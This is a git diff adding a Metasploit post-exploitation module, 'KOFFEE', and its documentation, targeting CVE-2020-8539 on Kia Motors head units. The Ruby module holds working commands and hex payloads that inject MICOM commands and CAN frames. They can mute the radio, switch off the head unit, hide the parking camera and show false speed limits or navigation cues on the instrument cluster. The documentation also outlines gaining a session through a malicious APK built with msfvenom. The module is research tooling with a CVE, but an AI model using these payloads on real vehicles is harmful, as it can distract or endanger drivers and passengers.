diff --git a/documentation/modules/post/android/local/koffee.md b/documentation/modules/post/android/local/koffee.md new file mode 100644 index 0000000000..de10cff70c --- /dev/null +++ b/documentation/modules/post/android/local/koffee.md @@ -0,0 +1,95 @@ +## Vulnerable Application + +KOFFEE exploits the CVE-2020-8539, which is an Arbitrary Code Execution vulnerability that allows a user to execute the +`micomd` binary with valid payloads on Kia Motors Head Units. By using KOFFEE an attacker can send crafted `micomd` +commands to control the head unit and send CAN bus frames into the Multimedia CAN (M-Can) of the vehicle. + +### Vulnerable Head Unit software versions +- SOP.003.30.180703 +- SOP.005.7.181019 +- SOP.007.1.191209 + +## Verification Steps + +- [ ] Start `msfconsole` +- [ ] `use post/android/local/koffee` +- [ ] `set session 1` +- [ ] `toogle_radio_mute` or `run` + +### What do you need +* An active session with the Head Unit + +## Options + +### MICOMD +It contains the path to micomd executable + +### NUM_MSG +It expresses the number of MICOM commands sent each time + +### PERIOD +It indicates the time (ms) interval between two MICOM commands, aka Period of CAN frames + +### SESSION +It refers to the metasploit session number on which this module is run. + +### CMD_PAYLOAD +It refers to the Micom payload to be injected, e.g., cmd byte1 byte3 byte2'. By default it is set to `00 00 00`. This +options works only for the `INJECT_CUSTOM` action + +## Actions + +The following actions can be triggered on the Head Unit. An action can be triggered by inserting in the Metasploit input +console the action name in lowercase, e.g., `camera_reverse_off`. + +- CAMERA_REVERSE_OFF: It hides the parking camera video stream +- CAMERA_REVERSE_ON: It shows the parking camera video stream +- CLUSTER_CHANGE_LANGUAGE: It changes the cluster language +- CLUSTER_RADIO_INFO: It shows radio info in the instrument cluster +- CLUSTER_RANDOM_NAVIGATION: It shows navigation signals in the instrument cluster +- CLUSTER_ROUNDABOUT_FARAWAY: It shows a round about signal with variable distance in the instrument cluster +- CLUSTER_SPEED_LIMIT: It changes the speed limit shown in the instrument cluster +- HIGH_SCREEN_BRIGHTNESS: It increases the head unit screen brightness +- INJECT_CUSTOM: It injects custom micom payloads +- LOW_FUEL_WARNING: It pops up a low fuel message on the head unit +- LOW_SCREEN_BRIGHTNESS: It decreases the head unit screen brightness +- MAX_RADIO_VOLUME: It sets the radio volume to the max +- NAVIGATION_FULL_SCREEN: It pops up the navigation app +- REDUCE_RADIO_VOLUME: It reduces radio volume +- SEEK_DOWN_SEARCH: It triggers the seek down radio frequency search +- SEEK_UP_SEARCH: It triggers the seek up radio frequency search +- SET_NAVIGATION_ADDRESS: It pops up the navigation address window +- SWITCH_OFF_Hu: It switches off the head unit +- SWITCH_ON_Hu: It switches on the head unit +- TOGGLE_RADIO_MUTE It mutes/unmutes the radio + +An action can be also triggered using the commands: +- [ ] `set action CAMERA_REVERSE_ON` +- [ ] `run` + +To execute the `INJECT_CUSTOM` action, you may want also to set up the right payload. +The commands to use to trigger this action are +- [ ] `set action INJECT_CUSTOM` +- [ ] `set CMD_PAYLOAD 01 FF` +- [ ] `run` + +## Scenarios +KOFFEE can be run as post-exploitation module when an active session is available with the Head Unit (HU). First, an +attacker may create a malicious apk to generate a remote connection with the HU. For instance, using msfvenom or other +tools, an attacker can create the malicious apk that, once installed in the HU, starts an active session. Now, the +attacker is able to use the KOFFEE exploit to take control of the HU and inject CAN bus frames into the M-CAN bus of the +vehicle. + + +### Usage + +``` +msf6 > use post/android/local/koffee +msf6 post(android/local/koffee) > set session 1 +session => 1 +msf6 post(android/local/koffee) > toggle_radio_mute + +[*] -- Starting action -- +[*] -- Mute/umute radio -- +[+] -- Command Sent -- +``` diff --git a/modules/post/android/local/koffee.rb b/modules/post/android/local/koffee.rb new file mode 100644 index 0000000000..e9c15cfc0e --- /dev/null +++ b/modules/post/android/local/koffee.rb @@ -0,0 +1,253 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'KOFFEE - Kia OFFensivE Exploit', + 'Description' => %q{ + This module exploits CVE-2020-8539, which is an arbitrary code execution vulnerability that allows an to + attacker execute the micomd binary file on the head unit of Kia Motors. This module has been tested on + SOP.003.30.18.0703, SOP.005.7.181019 and SOP.007.1.191209 head unit software versions. This module, run on an + active session, allows an attacker to send crafted micomd commands that allow the attacker to control the head + unit and send CAN bus frames into the Multimedia CAN (M-Can) of the vehicle. + }, + 'SessionTypes' => ['meterpreter'], + 'Author' => + [ + 'Gianpiero Costantino', + 'Ilaria Matteucci' + ], + 'References' => + [ + ['CVE', '2020-8539'], + ['URL', 'https://sowhat.iit.cnr.it/pdf/IIT-20-2020.pdf'] + ], + 'Actions' => [ + [ 'TOGGLE_RADIO_MUTE', { 'Description' => 'It mutes/umutes the radio' } ], + [ 'REDUCE_RADIO_VOLUME', { 'Description' => 'It decreases the radio volume' } ], + [ 'MAX_RADIO_VOLUME', { 'Description' => 'It sets the radio volume to the max' } ], + [ 'LOW_SCREEN_BRIGHTNESS', { 'Description' => 'It decreases the head unit screen brightness' } ], + [ 'HIGH_SCREEN_BRIGHTNESS', { 'Description' => 'It increases the head unit screen brightness' } ], + [ 'LOW_FUEL_WARNING', { 'Description' => 'It pops up a low fuel message on the head unit' } ], + [ 'NAVIGATION_FULL_SCREEN', { 'Description' => 'It pops up the navigation app window' } ], + [ 'SET_NAVIGATION_ADDRESS', { 'Description' => 'It pops up the navigation address window' } ], + [ 'SEEK_DOWN_SEARCH', { 'Description' => 'It triggers the seek down radio frequency search' } ], + [ 'SEEK_UP_SEARCH', { 'Description' => 'It triggers the seek up radio frequency search' } ], + [ 'SWITCH_ON_HU', { 'Description' => 'It switches on the head unit' } ], + [ 'SWITCH_OFF_HU', { 'Description' => 'It switches off the head unit' } ], + [ 'CAMERA_REVERSE_ON', { 'Description' => 'It shows the parking camera video stream' } ], + [ 'CAMERA_REVERSE_OFF', { 'Description' => 'It hides the parking camera video stream' } ], + [ 'CLUSTER_CHANGE_LANGUAGE', { 'Description' => 'It changes the cluster language' } ], + [ 'CLUSTER_SPEED_LIMIT', { 'Description' => 'It changes the speed limit shown in the instrument cluster' } ], + [ 'CLUSTER_ROUNDABOUT_FARAWAY', { 'Description' => 'It shows a round about signal with variable distance in the instrument cluster ' } ], + [ 'CLUSTER_RANDOM_NAVIGATION', { 'Description' => 'It shows navigation signals in the instrument cluster ' } ], + [ 'CLUSTER_RADIO_INFO', { 'Description' => 'It shows radio info in the instrument cluster ' } ], + [ 'INJECT_CUSTOM', { 'Description' => 'It injects custom micom payloads' } ] + ], + 'DefaultAction' => 'TOGGLE_RADIO_MUTE', + 'Platform' => 'Android', + 'DisclosureDate' => '2020-12-02', + 'License' => MSF_LICENSE + ) + ) + register_options([ + OptString.new('MICOMD', [true, 'Path to micomd executable', '/system/bin/micomd']), + OptString.new('PERIOD', [true, 'Time (ms) interval between two MICOM commands, aka Period of CAN frames', '0.200']), + OptInt.new('NUM_MSG', [true, 'Number of MICOM commands sent each time', '5']), + OptString.new('CMD_PAYLOAD', [ false, 'Micom payload to inject, e.g., cmd byte1 byte3 byte2', '00 00 00'], conditions: %w[ACTION == INJECT_CUSTOM]), + ]) + end + + def send_in(m_cmd) + cmd = "#{datastore['MICOMD']} -c inject #{m_cmd}" + cmd_exec(cmd) + print_good(' -- Command Sent -- ') + end + + def send_out(m_cmd) + cmd = "#{datastore['MICOMD']} -c inject-outgoing #{m_cmd}" + cmd_exec(cmd) + print_good(' -- Command Sent -- ') + end + + def send_custom(m_cmd) + cmd = "#{datastore['MICOMD']} -c inject #{m_cmd}" + var = 0 + while var < datastore['NUM_MSG'].to_s.to_i + cmd_exec(cmd) + var += 1 + print_status("> Sending #{var} out of #{datastore['NUM_MSG']}") + sleep(datastore['PERIOD'].to_s.to_f) + end + print_good(' -- Custom payload Sent-- ') + end + + def send_out_custom(m_cmd) + cmd = "#{datastore['MICOMD']} -c inject-outgoing #{m_cmd}" + var = 0 + while var < datastore['Num_msg'].to_s.to_i + cmd_exec(cmd) + var += 1 + print_status("> Sending #{var} out of #{datastore['NUM_MSG']}") + sleep(datastore['PERIOD'].to_s.to_f) + end + print_good(' -- CAN bus frames sent-- ') + end + + def run + # all conditional options are required when active, make sure none of them are blank + options.each_pair do |name, option| + next if option.conditions.empty? + next unless Msf::OptCondition.show_option(self, option) + + fail_with(Failure::BadConfig, "The #{name} option is required by the #{action.name} action.") if datastore[name].blank? + end + print_status(' -- Starting action -- ') + send("action_#{action.name.downcase}") + end + + def action_toggle_radio_mute + print_status(' -- Mute/umute radio -- ') + send_in('8351 04') + end + + def action_reduce_radio_volume + print_status(' -- Reduce radio volume -- ') + send_out('0112 F4 01') + end + + def action_max_radio_volume + print_status(' -- Max radio volume -- ') + send_out('0112 F0') + end + + def action_low_screen_brightness + print_status(' -- Low screen brightness -- ') + send_in('8353 07 01') + end + + def action_high_screen_brightness + print_status(' -- High screen brightness -- ') + send_in('8353 07 00') + end + + def action_low_fuel_warning + print_status(' -- Low fuel warning -- ') + send_in('8353 0B 01') + end + + def action_navigation_full_screen + print_status(' -- Navigation windows full screen -- ') + send_in('8353 0C 01') + end + + def action_set_navigation_address + print_status(' -- Navigation address window pops up -- ') + send_in('8353 0D 03') + end + + def action_seek_down_search + print_status(' -- Seek down radio search -- ') + send_out('133 01') + end + + def action_seek_up_search + print_status(' -- Seek up radio search -- ') + send_out('133 02') + end + + def action_switch_on_hu + print_status(' -- Switch on Head unit -- ') + send_out('170 01') + end + + def action_switch_off_hu + print_status(' -- Switch off Head unit -- ') + send_out('170 00') + end + + def action_camera_reverse_on + print_status(' -- Parking camera video stream on -- ') + send_in('8353 03 01') + end + + def action_camera_reverse_off + print_status(' -- Parking camera video stream off -- ') + send_in('8353 03 00') + end + + def action_cluster_change_language + print_status(' -- Korean -- ') + send_out_custom('4D3 01') + print_status(' -- Arabic -- ') + send_out_custom('4D3 08') + print_status(' -- Polish -- ') + send_out_custom('4D3 0E') + print_status(' -- Italian -- ') + send_out_custom('4D3 12') + end + + def action_cluster_speed_limit + print_status(' -- Chaning speed limit on the instrument cluster -- ') + send_out_custom('4DB 00 0A') + send_out_custom('4DB 00 2A') + send_out_custom('4DB 00 3A') + send_out_custom('4DB 00 5A') + send_out_custom('4DB 00 7A') + send_out_custom('4DB 00 9A') + send_out_custom('4DB 00 AA') + send_out_custom('4DB 00 BA') + end + + def action_cluster_roundabout_faraway + print_status(' -- km -- ') + send_out_custom('4D1 66 00 00 00 14 86 10 00') + print_status(' -- mi -- ') + send_out_custom('4D1 66 00 00 00 14 86 20 00') + print_status(' -- ft -- ') + send_out_custom('4D1 66 00 00 00 14 86 30 00') + print_status(' -- yd -- ') + send_out_custom('4D1 66 00 00 00 14 86 40 00') + print_status(' -- No distance -- ') + send_out_custom('4D1 66 00 00 00 14 86 50 00') + end + + def action_cluster_random_navigation + print_status(' -- Calculating the route -- ') + send_out_custom('4D1 09') + print_status(' -- Recalculating the route -- ') + send_out_custom('4D1 0A') + print_status(' -- Straight ahead -- ') + send_out_custom('4D1 0D') + print_status(' -- Exit on the Right -- ') + send_out_custom('4D1 13') + print_status(' -- Exit on the Left -- ') + send_out_custom('4D1 14') + end + + def action_cluster_radio_info + print_status(' -- USB Music -- ') + send_out_custom('4D6 65') + print_status(' -- Android Auto -- ') + send_out_custom('4D6 6F') + print_status(' -- FM 168.17 -- ') + send_out_custom('4D6 11 9D 00 00 00 00 5F 83') + print_status(' -- FM1 168.17 -- ') + send_out_custom('4D6 12 9D 00 00 00 00 5F 83') + print_status(' -- FM2 168.17 -- ') + send_out_custom('4D6 13 9D 00 00 00 00 5F 83') + end + + def action_inject_custom + print_status(" -- Injecting custom payload (#{datastore['CMD_PAYLOAD']}) -- ") + send_custom(datastore['CMD_PAYLOAD']) + end +end